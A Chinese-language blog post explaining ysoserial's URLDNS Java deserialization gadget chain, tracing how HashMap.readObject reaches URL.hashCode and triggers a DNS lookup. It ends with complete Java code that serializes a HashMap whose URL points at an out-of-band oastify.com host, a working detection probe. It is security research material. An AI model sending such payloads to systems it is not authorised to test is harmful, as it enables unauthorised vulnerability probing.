JAVA反序列化-URLDNS链

发布时间 2023-08-31 15:05:55作者: Jarwu

URLDNS是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求。
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞。
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用。

ysoserial中列出的Gadget:

Gadget Chain:
	HashMap.readObject()
		HashMap.putVal()
			HashMap.hash()
				URL.hashCode()

HashMap.readObject中,会调用自己的hash方法。跟进
image

HashMap#hash中,会调用key自身的hashCode方法。
image

所以,如果向HashMap中传入URL对象,在反序列化过程中便会进入URLhashCode方法;在URLhashCode方法中,会调用handler.hashCode方法。跟进会进入URLStreamHandler中。
image

URLStreamHandler.hashCode方法中可以看到,会调用getHostAddress发起一个dns查询。
image

以上是整个链的流程,下面是注意的细节:
在调用hashmapput方法时,也会调用hash,进而会发送一个dns查询 。
image

所以,为了避免这次的dns查询,ysoserial创建了一个SilentURLStreamHandler类,直接返回null来解决。

image

也可以在put操作前,将hashCode的值设置成不为-1的其他值。
image

image

完整代码:

HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
        URL url = new URL("http://w5201om3r4g559izvz538dpd84eu2j.oastify.com");
        Class c = url.getClass();
        Field hashCodeF = c.getDeclaredField("hashCode");
        hashCodeF.setAccessible(true);
        hashCodeF.set(url,123);

//      如果url对象中的hashcode!=-1,就直接返回,否则会进行一次hashcode的计算
        hashMap.put(url,1);
//      再改为-1,在反序列化的时候,会调用URL的hashcode方法,会进行一次dns解析
//      反序列化时,会自动调用自身的readObject方法
        hashCodeF.set(url,-1);
        serialize(hashMap);

总结

hashmap作为source入口内,可以在反序列化时,调用keyhashcode函数。